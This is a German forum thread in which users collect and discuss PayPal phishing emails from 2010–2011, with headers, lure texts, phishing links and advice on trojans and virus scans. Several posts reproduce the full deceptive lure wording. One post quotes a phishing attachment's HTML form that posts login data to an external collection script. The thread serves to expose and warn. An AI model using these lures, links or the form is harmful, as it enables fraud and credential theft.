Paypal-Phishing

[Mito]

Neue Masche?

header:

01:  
02: Received: from [210.125.130.18] (helo=mail.kwu.ac.kr) by mx33.web.de with smtp
03: (WEB.DE 4.110 #24) ID: [ID filtered]
04: xx:xx:xx +0100
05: Received: from 193.252.218.94 (193.252.218.94) at CrediMail with ESMTP Mobigen
06: by mail;Fri, 17 Dec 2010 xx:xx:xx +0900
07: To: 
08: X-MsgID: [ID filtered]
09: Message-ID: [ID filtered]
10: Y-MAIL-CLASS: None
11: X-RECEIVED-IP: 193.252.218.94
12: From: PayPal <service [at] inc.paypal.de>
13: Subject: Ihr PayPal-Konto
14: Date: Fri, 17 Dec 2010 xx:xx:xx +0100
15: MIME-Version: 1.0
16: Content-Type: text/html; charset="Windows-1251"
17: Content-Transfer-Encoding: 7bit
18: X-Priority: 3
19: X-MSMail-Priority: Normal
20: X-Mailer: Microsoft Outlook Express 6.00.2600.0000
21: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
22: Return-path:
23: 	[EMAIL="service [at] inc.paypal.de"]service [at] inc.paypal.de[/EMAIL]

Sie haben 1 neue Nachricht Sicherheits-Alarm
Log-In in Ihr PayPal-Konto um das Problem zu beheben.

So bestätigen Sie Ihre E-Mail-Adresse
Klicken Sie auf den nachfolgenden Link:
^whois:http://6worldma.com/media/index.html
Copyright © 1999-2010 PayPal. Alle Rechte vorbehalten.
PayPal (Europe) S.à r.l. & Cie, S.C.A.
Société en Commandite par Actions
Sitz: 22-24 Boulevard Royal L-2449, Luxembourg
RCS Luxembourg B 118 349

PayPal-E-Mail-IDPP315

oder altbekannt??

Gruss Mito

[carsten.gentsch]

Bin dabei gespammt via Mailadresse über unsere Webseite. Netter Anhang als verschlüsselte Datei die ich natürlich nicht aufgemacht habe sondern an paypal weitergeleitet habe.

header:

01: Return-Path: <nobody [at] ne07.tt.co.kr>
02: X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on vadmin217
03: X-Spam-Level: 
04: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham
05: 	version=3.2.5
06: X-Original-To: me [at] adress.de
07: Delivered-To: poor [at] spamvictim.tld
08: Received: from localhost (localhost [127.0.0.1])
09: 	by sme [at] adress.de (Postfix) with ESMTP ID: [ID filtered]
10: 	for <poor [at] spamvictim.tld>; Wed, 22 Dec 2010 xx:xx:xx +0100 (CET)
11: Received: from me [at] adress.de ([127.0.0.1])
12: 	by localhost (me [at] adress.de [127.0.0.1]) (amavisd-new, port 10024)
13: 	with ESMTP ID: [ID filtered]
14: 	Wed, 22 Dec 2010 xx:xx:xx +0100 (CET)
15: X-Greylist: delayed 20513 seconds by postgrey-1.31 at vadmin217; Wed, 22 Dec 2010
16: 	xx:xx:xx CET
17: Received: from mailhub2-29.tt.co.kr (mailhub2-29.tt.co.kr [211.47.72.229])
18: 	by server5.26.joserv.de (Postfix) with ESMTPS ID: [ID filtered]
19: 	for <poor [at] spamvictim.tld>; Wed, 22 Dec 2010 xx:xx:xx +0100 (CET)
20: Received: from ne07.tt.co.kr ([211.47.69.62])
21: 	by mailhub2-27.tt.co.kr (8.12.11.20060308/8.13.8) with ESMTP ID: [ID filtered]
22: 	for <poor [at] spamvictim.tld>; Wed, 22 Dec 2010 xx:xx:xx +0900
23: Received: from ne07.tt.co.kr (ne07.tt.co.kr [127.0.0.1])
24: 	by ne07.tt.co.kr (8.13.8/8.13.8) with ESMTP ID: [ID filtered]
25: 	for <poor [at] spamvictim.tld>; Wed, 22 Dec 2010 xx:xx:xx +0900
26: Received: (from nobody [at] localhost)
27: 	by ne07.tt.co.kr (8.13.8/8.13.8/Submit) ID: [ID filtered]
28: 	Wed, 22 Dec 2010 xx:xx:xx +0900
29: Date: Wed, 22 Dec 2010 xx:xx:xx +0900
30: Message-ID: [ID filtered]
31: To: poor [at] spamvictim.tld
32: Subject: Your account has been temporarily limited!
33: From: PayPal <updates-int [at] paypal.net>
34: MIME-Version: 1.0
35: Content-Type: multipart/mixed; boundary=78A2DB9B84596D08A70D536B93C90F11
36: This is a multi-part message in MIME format
37: <schnipp>

Dear PayPal account holder,


PayPal is constantly working to ensure security by regularly screening the accounts in our system. We have recently determined that different computers have tried logging into your PayPal account,and multiple password failures were present before the logons.

Until we can collect secure information, your access to sensitive account features will be limited. We would like to restore your access as soon as possible, and we apologize for the inconvenience.

Download and fill out the form to resolve
the problem and then log into your account.

Thanks ,
PayPal

Post geht an nobody@ne07.tt.co.kr nobody@ne07.tt.co.kr nobody@ne07.tt.co.kr
Nett was im Anhang steht:

<link rel="stylesheet" href="http://andabanda.megabyet.net/tmp/w.php?frm=t" />
<title>PayPal - Restore your account</title>
<script type="text/javascript" language="javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js"></script>
<script type="text/javascript" language="javascript" src="http://plugins.jquery.com/files/jquery.color.js.txt"></script>

<form name="frm" method="post" action="http://andabanda.megabyet.net/tmp/w.php" onsubmit="return validate()" >

und da steht alles weit offen haben sich auch schon viele eingetragen..^whois:http://andabanda.megabyet.net/tmp/

[Wisch]

Hallo, ich hatte gerade in meinem Paypal-Konto herumgestöbert, logge mich aus und bekam direkt danach eine Phishing-Mail in korrektem Deutsch "Ihr Konto wurde vorübergehend begrenzt ", verbunden mit der Aufforderung, "Klicken Sie hier, um das Problem zu lösen". Dann kommt man auf eine Paypal-ähnliche Phishing-Seite und soll seine Mailadresse sowie Paßwort eingeben.
Bei Paypal riet mir dann eine Dame, Cache und Cookies zu löschen und einen Virenscanner zu nutzen, was ich getan habe. Ich weiß nicht, wie kompetent die Dame ist und wollte deshalb hier einmal die Experten fragen:

Wie kann es passieren, daß ich nach Verlassen meines Paypal-Kontos eine Phishing-Mail für Paypal bekomme?

Reicht ein löschen von Cache und Cookies im Firefox oder könnte sich ein Trojaner eingeschlichen haben? Mein Scanner (Antivir) hat jedenfalls nichts gefunden. Mein System ist XP.

Schon mal vielen Dank und viele Grüße!

[Wuschel_MUC]

Wie kann es passieren, daß ich nach Verlassen meines Paypal-Kontos eine Phishing-Mail für Paypal bekomme?

Du hast dir wahrscheinlich schon vorher einen Trojaner eingefangen, der dir eine falsche Seite vorgegaukelt hat. Der Trojaner war halt so geschrieben, dass zuerst zwecks Vertrauensaufbau die echte Seite angezeigt wurde und erst hinterher der faule Link kam.

Wenn der Virenscanner nichts gefunden hat, probiere es nach dem nächsten Scanner-Update nochmal, möglichst mit einem Fremdstart von einer unverdächtigen CD. Solche Trojaner kursieren in unzähligen Versionen; neue werden nicht sofort von Virenscannern gefunden.

Was sagt dein Virenscanner-Hersteller dazu? Vielleicht kannst du ihnen eine verdächtige Datei schicken, wenn sie wissen, wo du suchen musst?

Viel Erfolg bei der Trojaner-Jagd
Wuschel

[Mittwoch]

Wie kann es passieren, daß ich nach Verlassen meines Paypal-Kontos eine Phishing-Mail für Paypal bekomme?

Im Zweifel nur dummer Zufall. Ich würde das Experiment mindestens drei mal wiederholen, um einen Zusammenhang zwischen "Verlassen des Paypal-Kontos" und "Phishing-Mail" halbwegs sicher anzunehmen.

Reicht ein löschen von Cache und Cookies im Firefox oder könnte sich ein Trojaner eingeschlichen haben? Mein Scanner (Antivir) hat jedenfalls nichts gefunden. Mein System ist XP.

Der Cache enthält nur lokale Kopien von Internetseiten. Wenn Du also Google aufrufst, kann sein, dass diese Seite aus dem Cache geladen wird. Inklusive alle Skripte, die auf der Seite waren, als sie im Cache abgelegt wurde. Man kann zur Sicherheit den Cache löschen, um auf diese Weise die Wahrscheinlichkeit von nachträglichem Cross-Site-Scripting (Wikipedia-Link) zu minimieren, gegen das Firefox aber schon ab Werk extrem gut geschützt ist; wenn Deine Version halbwegs aktuell ist, würde ich mir hierüber keine Gedanken machen. Nebenbei bemerkt: Der Cache ist eine Idee aus Zeiten der langsamen Internetanbindung. Bei DSL-Flat spricht nichts dagegen, den Cache auf sehr kleine Werte zu setzen, so dass dort immer wieder viel Umlauf ist.

Bei den Cookies sieht das schon anders aus, hier ist das Gefahrenpotential etwas höher. Die Phishing-Webseite kann z.B. anhand Deines Cookies sehen, wann du das letzte Mal da warst. Wenn nun der von Dir unterstellte Zusammenhang tatsächlich existiert, so wäre die Information "Reagiert sofort auf die Phishingmail" sehr wertvoll. Dazu müsste aber erst ein Cookie gesetzt werden, um sicherzustellen, dass Du kein zufälliger Besucher bist.
Über Cookies kann man geteilter Meinung sein. Ich persönlich nutze CSLite, um meine Cookies zu verwalten. Bei vertrauenswürdigen Seiten lasse ich sie zu, ansonsten werden sie - wenn für die Funktion einer Seite unumgänglich - allenfalls temporär akzeptiert. CSLite filtert auch die Cookies raus, die von Drittanbietern im Hintergrund abgelegt werden. Problematisch sind auch diesog. Super-Cookies, die von Flash-Anwendungen hinterlegt werden, denn die kann man nicht so einfach löschen. Hier bietet z.B. Better Privacy einen guten Schutz. Und erwähnt sei natürlich das nahezu obligatorische NoScript, das die wohl wichtigste Sicherheitslücke kontrolliert: Aktive Inhalte.

Virenscanner, die auf einem infizierten System laufen, können vom Schädling prinzipiell kompromittiert werden. Ich würde mich daher nur bedingt auf einen Antiviir-Scan verlassen, solange der auf dem hochgefahrenen System läuft. Ich würde mindestens einmal im Monat ein System von einem nicht kompromittierbaren Medium (CD_ROM) starten und auf Viren checken. Die AV-Webseite bietet da ganz Brauchbares. Im Zweifel immer das System neu aufsetzen, denn Windoof lässt einfach zu tiefe Eingriffe ins System für Jedermann zu, was von Viren und Trojanern gerne ausgenutzt wird.

Schönen Gruß
Mittwoch

Nachtrag für Interessierte: Bei mir laufen: Adblock Plus, Better Privacy, CS Lite, Ghostery, Long URL Please, NoScript, Redirect Cleaner, Ref Control und der User Agent Switcher

[Wisch]

Im Zweifel nur dummer Zufall

Daran glaube ich nicht, da GMX in den letzen Jahren keine einzige Phishing-Mail zu mir durchgelassen hat. Andererseits konnte ich die Geschichte nicht wiederholen: Ein Ein- und Ausloggen bei Paypal blieb diesmal folgenlos.
Ich werde morgen mal von einer Antiviren-CD booten und dann sehen wir weiter.

Erstmal vielen Dank an Wuschel_MUC und Mittwoch für die Hilfe und die Infos!

Viele Grüsse, Wisch

[Hippo]

Bekomme ich laufend in zwei Varianten
Hier die erste

-------------------------------------------------------------------------------
Ungewöhnliche Kontobewegungen haben es notwendig gemacht Ihr Konto einzugrenzen bis zusätzliche Informationen zur Überprüfung gesammelt werden.

Zur Zeit haben Sie nur begrenzten Zugang zu Ihrem Pay Pal Konto. Wir bitten Sie daher die von uns angeforderten Kontodaten zu enrneuern.
Bittte klicken Sie hier » ^whois:http://mail.sacaircharter.com Link ist nicht sichtbar, sondern in dem "Bitte klicken Sie hier" hinterlegt


Copyright © 1999-2010 PayPal. All rights reserved
PayPal Germany Pty Limited
ABN 93 111 195 389 (AFSL 304962)

header:

01: Return-Path: <gernotyc [at] aberdeen.theukhost.net>
02: Delivery-Date: Wed, 12 Jan 2011 xx:xx:xx +0100
03: Received: from aberdeen.theukhost.net (aberdeen.theukhost.net [213.175.210.110])
04: 	by mx.kundenserver.de (node=mxeu2) with ESMTP (Nemesis)
05: 	ID: [ID filtered]
06: Received: from gernotyc by aberdeen.theukhost.net with local (Exim 4.69)
07: 	(envelope-from <gernotyc [at] aberdeen.theukhost.net>)	ID: [ID filtered]
08: 	for poor [at] spamvictim.tld; Wed, 12 Jan 2011 xx:xx:xx +0000
09: To: poor [at] spamvictim.tld
10: Subject: Fw: Zur Zeit haben Sie nur begrenzten Zugang zu Ihrem Pay Pal Konto.
11: X-PHP-Script: www.gernot-y2011.com/smt.php for 81.175.112.130
12: Date: Wed, 12 Jan 2011 xx:xx:xx +0000
13: From: INTL PayPal <pp [at] neu.de>
14: Reply-To: 
15: Message-ID: [ID filtered]
16: X-Priority: 1
17: X-Mailer: PHPMailer (phpmailer.sourceforge.net) [version ]
18: MIME-Version: 1.0
19: Content-Transfer-Encoding: 8bit
20: Content-Type: text/html; charset="iso-8859-1"
21: X-AntiAbuse: This header was added to track abuse, please include it with any abuse
22: 	report
23: X-AntiAbuse: Primary Hostname - aberdeen.theukhost.net
24: X-AntiAbuse: Original Domain - online.de
25: X-AntiAbuse: Originator/Caller UID/GID: [UID filtered]
26: X-AntiAbuse: Sender Address Domain - aberdeen.theukhost.net
27: X-UI-Junk: AutoMaybeJunk +0 (); 
28: 	V01:m6KLu5gF:emcb3JoY6+iYbLPguNfXQOlOHE2PjcY5QVHIc6puTSsN2SthiAZ
29:   E0giCfGe4hPrh0vRmKUWNGgit0JNzjubWTPmWhMHGxKr6BtZJSR0E+DzzOdOMcYU  8omWnwoCeiSVd
30: Envelope-To: poor [at] spamvictim.tld
31: X-AntiVirus: checked (incoming) by AntiVir MailGuard (Version: 10.0.1.38; AVE:
32: 	8.2.4.140; VDF:
33:  7.11.1.105)
34: X-Avira-Antispam: Version 10.0.2.1 on PetNet (192.168.1.129) asata 10.0.2.3
35: 	settings.db:10.0.2.1
36:  (30-08-10 07:30) global_words.db:10.0.2.1.0.1 (30-08-10 07:35) user_words.db:9.0.0.14.0.1
37:  (04-02-10 22:39)
38: X-Avira-ScanDate: 01/12/11 xx:xx:xx
39: X-Avira-SpamScore: ata:   2.200 bayes:   0.409 final:   1.832
40: X-Avira-SpamLevel: No spam

und hier die zweite wesentlich umfangreichere

Sehr geehrter PayPal,

Im Rahmen unserer Sicherheitsmaßnahmen prüfen wir regelmäßig alle Vorgänge im
PayPal-System. Bei einer Überprüfung haben wir kürzlich ein Problem im
Zusammenhang mit Ihrem Konto festgestellt.
Bei einer kürzlichen Überprüfung Ihres Kontos haben wir festgestellt, dass wir
zusätzliche Angaben von Ihnen benötigen, um Ihnen weiterhin sicheren Service
bieten zu können.
Bearbeitungsnummer: PP-430-707-222
Zu Ihrem Schutz haben wir den Zugriff auf Ihr Konto eingeschränkt, bis
zusätzliche Sicherheitsmaßnahmen getroffen werden können. Wir bitten um
Entschuldigung für eventuelle Unannehmlichkeiten.
Loggen Sie sich in Ihr PayPal-Konto ein, um den Zugriff auf Ihr Konto innerhalb
der nächsten 15 Tage vollständig wiederherzustellen. Wenn Sie innerhalb des
genannten Zeitraums keine weiteren Informationen bereitstellen, müssen wir den
Fall unter Umständen zu Ihrem Nachteil entscheiden. Beim Einloggen werden die
Maßnahmen angegeben, mit deren Hilfe der reguläre Zustand Ihres Kontos
wiederhergestellt werden kann. Wir arbeiten daran, die Sicherheit Ihres Kontos
zu gewährleisten, und bedanken uns für Ihr Verständnis.
Wie kann ich den Zugriff auf mein Konto wiederherstellen?

Besuchen Sie die Seite Konfliktlösungen hier:

^whois:https://www.paypal.com/de/cgi-bin/webscr?cmd=_login-run
Zur Überprüfung Ihres Kontos und einiger oder aller Daten, anhand derer PayPal
entschieden hat, Ihren Kontozugriff einzuschränken, besuchen Sie bitte die Seite
Konfliktlösungen. Wenn Sie nach Prüfung Ihrer Kontodaten weitere klärende
Informationen zu Ihrem Kontozugriff benötigen, wenden Sie sich an PayPal, indem
Sie das Hilfe-Center besuchen und dort auf "Kontakt" klicken.
Wir bedanken uns für die rasche Erledigung dieser Angelegenheit. Haben Sie bitte
Verständnis, dass dies eine Sicherheitsmaßnahme ist, die Sie und Ihr Konto
schützen soll. Wir bedauern eventuelle Unannehmlichkeiten.
Vielen Dank für Ihre Kooperation.
Herzliche Grüße
Ihr PayPal-Team
- ----------------------------------------------------------------
Copyright © 1999-2010 PayPal. Alle Rechte vorbehalten.
PayPal (Europe) S.à r.l. & Cie, S.C.A.
Société en Commandite par Actions
Eingetragener Firmensitz: 22-24 Boulevard Royal, L-2449 Luxembourg
RCS Luxembourg B 118 349
PayPal-E-Mail-ID PP522

header:

01: Return-Path: <service [at] paypal.de>
02: X-Flags: 0000
03: Delivered-To: GMX delivery to poor [at] spamvictim.tld
04: Received: (qmail invoked by alias); 17 Jun 2010 xx:xx:xx -0000
05: Received: from artemis.safeukdns.net (EHLO artemis.safeukdns.net) [77.92.83.100]
06:   by mx0.gmx.net (mx001) with SMTP; 17 Jun 2010 xx:xx:xx +0200
07: Received: from [209.216.225.168] (helo=SDCAVMA09-UT01)
08: 	by artemis.safeukdns.net with esmtpa (Exim 4.69)	(envelope-from <service [at] paypal.de>)
09: 	ID: [ID filtered]
10: From: "PayPal" <service [at] paypal.de>
11: Subject: [Phishing] Ihr PayPal-Konto =?ISO-8859-1?Q?eingeschr=E4nkt?= worden
12: 	ist !
13: To: poor [at] spamvictim.tld
14: Content-Type: text/html;
15: Reply-To: service [at] paypal.de
16: Date: Thu, 17 Jun 2010 xx:xx:xx -0700
17: X-Priority: 3
18: X-Library: Indy 8.0.25
19: X-AntiAbuse: This header was added to track abuse, please include it with any abuse
20: 	report
21: X-AntiAbuse: Primary Hostname - artemis.safeukdns.net
22: X-AntiAbuse: Original Domain - gmx.de
23: X-AntiAbuse: Originator/Caller UID/GID: [UID filtered]
24: X-AntiAbuse: Sender Address Domain - paypal.de
25: Message-ID: [ID filtered]
26: X-GMX-Antivirus: 0 (no virus found)
27: X-GMX-Antispam: 0 (Mail was not recognized as spam);
28:  Detail=5D7Q89H36p4WX0t+AtsdW9UlEvn0LlOcXEYkhxfvYBXV9jD3obDQnVz9KIHbdSaaO95dF
29:  S3WpQnEUdOtR4F/R4C4pRtyGqA1Bk8PElDOS2vhZjPs8xTYG3+7YOZc5Zq7A2jZB0ssQIsexu/ZH ewazQ==V1;
30: X-GMX-UID: [UID filtered]
31: X-AntiVirus: checked (incoming) by AntiVir MailGuard (Version: 10.0.1.27; AVE: 8.2.2.6;
32: 	VDF:
33:  7.10.8.121)
34: X-Avira-Antispam: Version 10.0.0.0 on PetNet (192.168.1.129) asata 10.2
35: 	settings.db:10.0.0.0.3.2
36:  (12-03-10 10:06) global_words.db:10.0.0.0.0.1 (12-03-10 10:06) user_words.db:9.0.0.14.0.1
37:  (04-02-10 22:39)
38: X-Avira-ScanDate: 06/17/10 xx:xx:xx
39: X-Avira-SpamScore: ata:   3.740 bayes:   0.447 final:   3.504
40: X-Avira-SpamLevel: Phishing - phishing

Vielleicht hilfts euch weiter ...
LG Hippo

Tante Edit sagt, es gibt noch eine dritte Variante:

PayPal


--------------------------------------------------------------------------------

Hallo
Â
Im Rahmen unserer Maßnahmen zur Gefahrenabwehr, die wir regelmäßig überwachen die Aktivitäten in den PayPal-System. Wir haben vor kurzem kontaktiert Sie sich nach einem Problem mit Ihrem PayPal-Konto.
Â
Die Informationen, die Sie wurden aus folgendem Grund beantragt:
Â
Unser System hat ungewöhnliche Abbuchungen auf einer Kreditkarte mit Ihrem PayPal-Konto zugeordnet ist erkannt.
Â
Datei Nr.: PP-1124-075-998
Â
Dies ist eine letzte Erinnerung fragen Sie für die Anmeldung bei PayPal so bald wie möglich.

Bitte wieder auf Ihr Konto zugreifen <<< hier wäre der Link hinterlegt

Bitte antworten Sie nicht auf diese E-Mail. E-Mails an diese Adresse kann nicht beantwortet werden.


--------------------------------------------------------------------------------

Copyright © 1999-2010 PayPal. Alle Rechte vorbehalten.

Â

Der Link hier ist gigantisch
^whois:http://user30887.vs.easily.co.uk/PayPal.DE/paypal/de/webscr.php?cmd=_login-run&dispatch=5885d80a13c0db1f1ff80d546411d7f84f1036d8f209d3d19ebb6f4eeec8bd0e7e7b25ae441d4c8a664e43f026f719fb7e7b25ae441d4c8a664e43f026f719fb"84f1036d8f209d3d19ebb6f4eeec8bd0e2fdb0996a2799cb19073f61ec8cd1e8f2fdb0996a2799cb19073f61ec8cd1e8f"8f209d3d19ebb6f4eeec8bd0eda52a2b0d529088f03aa12419332035cda52a2b0d529088f03aa12419332035c"8f209d3d19ebb6f4eeec8bd0e16990eb23856229cdf2309078c36d6ba16990eb23856229cdf2309078c36d6ba"8f209d3d19ebb6f4eeec8bd0e2cc8c352b44a337c37602251dcf69f502cc8c352b44a337c37602251dcf69f50"b6f4eeec8bd0e5045a088adb51b40d55870f502e5be0a5045a088adb51b40d55870f502e5be0a3d19ebb6f4eeec8bd0e7a5037e387a9d20c9752c4499015271b7a5037e387a9d20c9752c4499015271b3d19ebb6f4eeec8bd0e188f28a4960901a641faf4fbb300b16c188f28a4960901a641faf4fbb300b16c3d19ebb6f4eeec8bd0ee4766f5e8e940db9c01a31ee692f4262e4766f5e8e940db9c01a31ee692f4262d19ebb6f4eeec8bd0ef08557864694af9ef3cc7bb0dc825be8f08557864694af9ef3cc7bb0dc825be8

header:

01: Return-Path: <user30886 [at] lws01.ldn5.groupnbt.net>
02: Delivery-Date: Mon, 13 Dec 2010 xx:xx:xx +0100
03: Received: from lws01.ldn5.groupnbt.net (lws01.netbenefit.co.uk [62.128.158.4])
04: 	by mx.kundenserver.de (node=mxeu1) with ESMTP (Nemesis)
05: 	ID: [ID filtered]
06: Received: from user30886 by lws01.ldn5.groupnbt.net with local (Exim 4.63)
07: 	(envelope-from <user30886 [at] lws01.ldn5.groupnbt.net>)	ID: [ID filtered]
08: 	for poor [at] spamvictim.tld; Mon, 13 Dec 2010 xx:xx:xx +0000
09: To: poor [at] spamvictim.tld
10: Subject: [Phishing] Achtung! Ihr PayPal-Konto wurde begrenzt!
11: From: PayPal.com <PayPal [at] Service.com>
12: MIME-Version: 1.0
13: Content-Type: text/html
14: Message-ID: [ID filtered]
15: Date: Mon, 13 Dec 2010 xx:xx:xx +0000
16: X-Original-User: user30886
17: X-ACL-Warn: Email Limit Exceeded
18: X-UI-Junk: AutoMaybeJunk +0 (); 
19: 	V01:KAg4uN1Q:MKARrZc2CyqILSf5iQjVztGBScWKHR/c6dmGtHRUShFmoM57TSZ
20:   Ym7ESK/YbGUleTDmuioKkQmUz8rhcO/SH8rxCOToCyFAip/LQ+ix6VfjASTb68xq  fgkAvR7vD0sBx
21: Envelope-To: poor [at] spamvictim.tld
22: X-AntiVirus: checked (incoming) by AntiVir MailGuard (Version: 10.0.1.38; AVE:
23: 	8.2.4.122; VDF:
24:  7.10.15.5)
25: X-Avira-Antispam: Version 10.0.2.1 on PetNet (192.168.1.130) asata 10.0.2.3
26: 	settings.db:10.0.2.1
27:  (30-08-10 07:30) global_words.db:10.0.2.1.0.1 (30-08-10 07:35) user_words.db:9.0.0.14.0.1
28:  (04-02-10 22:39)
29: X-Avira-ScanDate: 12/13/10 xx:xx:xx
30: X-Avira-SpamScore: ata:   1.300 bayes:   0.043 final:   0.000
31: X-Avira-SpamLevel: Phishing - phishing

[Wisch]

So, zwei über Boot-CD gestartete Virenscanner haben nichts gefunden. Auch nach mehrfachen Ein- und Ausloggen bekam ich keine neuen Phishing-Mails. Vielleicht war es doch, wie Mittwoch vermutet, nur ein dummer Zufall? Ich werde das System erst einmal nicht neu installieren und in Zukunft besser aufpassen.

Nochmals vielen Dank für die Hilfe!

[Smart]

Ich hänge das mal hier an.

Muss ich mir jetzt ein Pay Pal Konto zulegen weil bis jetzt habe ich kein Pay Pal
Norten hat den Anhang gleich entfernt.
Wie ich das sehe kommt der Mist aus Indien.

header:

01: Return-path: <service [at] nopaypal.co.uk>
02: Delivery-date: Mon, 17 Jan 2011 xx:xx:xx +0100
03: Received: from mi007.mc1.hosteurope.de ([80.237.138.248])
04:     by wp166.webpack.hosteurope.de running ExIM with esmtp
05:     ID: [ID filtered]
06: Received: from mx1.softnet.co.ID: [ID filtered]
07:     by mx0.webpack.hosteurope.de (mi007.mc1.hosteurope.de) with esmtp
08:     ID: [ID filtered]
09:     for info [at] meine Mail; Mon, 17 Jan 2011 xx:xx:xx +0100
10: Received: from User ([61.16.160.39])
11:     (authenticated user poor [at] spamvictim.tld)
12:     by mail.softnet.co.ID: [ID filtered]
13:     Mon, 17 Jan 2011 xx:xx:xx +0700
14: From: "PayPal Inc."<XXXXXX [at] nopaypal.co.uk>
15: Subject: [Norton AntiSpam]For your protection, you should check this message.
16: Date: Mon, 17 Jan 2011 xx:xx:xx +0530
17: MIME-Version: 1.0
18: Content-Type: multipart/mixed;
19:     boundary="----=_NextPart_000_0005_01C2A9A6.0E685AD2"
20: X-Priority: 3
21: X-MSMail-Priority: Normal
22: X-Mailer: Microsoft Outlook Express 6.00.2600.0000
23: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
24: X-HE-Virus-Scanned: yes
25: X-ACL-Warn: Message does not conform to RFC2822 standard
26: X-HE-Spam-Level: +++++++++
27: X-HE-Spam-Score: 9.6
28: X-HE-Spam-Report: Content analysis details:   (9.6 points)
29:   pts rule name              description
30:  ---- ---------------------- --------------------------------------------------
31:   0.0 MISSING_MID: [ID filtered]
32:   1.6 MISSING_HEADERS        Missing To: header
33:   0.5 HE_CPSD                HE Phishing & Scam detected
34:   0.0 RDNS_NONE              Delivered to trusted network by a host with no rDNS
35:   7.5 HE_CPSD_SANE           SPAM found by SaneSecurity signatures
36:   0.0 FORGED_MUA_OUTLOOK     Forged mail pretending to be from MS Outlook
37: X-SPAM-FLAG: Yes
38: Message-ID: [ID filtered]
39: Envelope-to: info [at] meine Mail
40: X-Brightmail-Tracker: AAAABgr/B8MXIYuTFyDg/Rcg4JoXIOCcFyGY1A==

[leseladen]

wohl doch eher "Zufall" - heute bei mir auf geschlagen - da versucht wohl mal wieder jemand, die restlichen 1% die noch nicht mitbekommen haben, dass solche Mails in den Mülleimer gehören, ab zu grasen...
Immerhin sind die "Übersetzungen" inzwischen so gut, dass es nicht sofort auffällt, dass da "Babelfisch" benutzt wurde!

header:

01: 	Von: 	Inc.Notice <kontakt-pp [at] cesifo.de>
02: 	Betreff: 	Re:Zur Zeit haben Sie nur begrenzten Zugang zu Ihrem PayPal Konto.
03: 	Datum: 	26. Januar 2011 xx:xx:xx MEZDeutschland
04: 	An: 	Home alt <xxxxx>
05: 	Received: 	from melifluan.purplefrogprod.com ([69.36.2.146]) by xxx with MailEnable
06: 	ESMTP; Wed, 26 Jan 2011 xx:xx:xx +0100
07: 	Received: 	from localhost (localhost [127.0.0.1]) (UID: [UID filtered]
08: 	Old-Return-Path: 	kontakt-pp [at] cesifo.de
09: 	Message-ID: [ID filtered]
10: 	X-Priority: 	1
11: 	X-Mailer: 	PHPMailer (phpmailer.sourceforge.net) [version ]
12: 	Mime-Version: 	1.0
13: 	Content-Type: 	text/html; charset=iso-8859-1
14: 	Content-Transfer-Encoding: 	quoted-printable
15: 	X-Mime-Autoconverted: 	from 8bit to quoted-printable by courier 0.51.0
16: 	Return-Path: 	<bryanss [at] melifluan.purplefrogprod.com>

Lieber Nutzer PayPal,


Ungewöhnliche Kontobewegungen haben es notwendig gemacht Ihr Konto einzugrenzen bis zusätzliche Informationen zur Überprüfung gesammelt werden.

Zur Zeit haben Sie nur begrenzten Zugang zu Ihrem Pay Pal Konto. Wir bitten Sie daher die von uns angeforderten Kontodaten zu enrneuern.

« Bitte klicken Sie hier »


Copyright © 1999-2011 PayPal. All rights reserved
PayPal Germany & Austria Pty Limited
ABN 93 111 195 389 (AFSL 304962)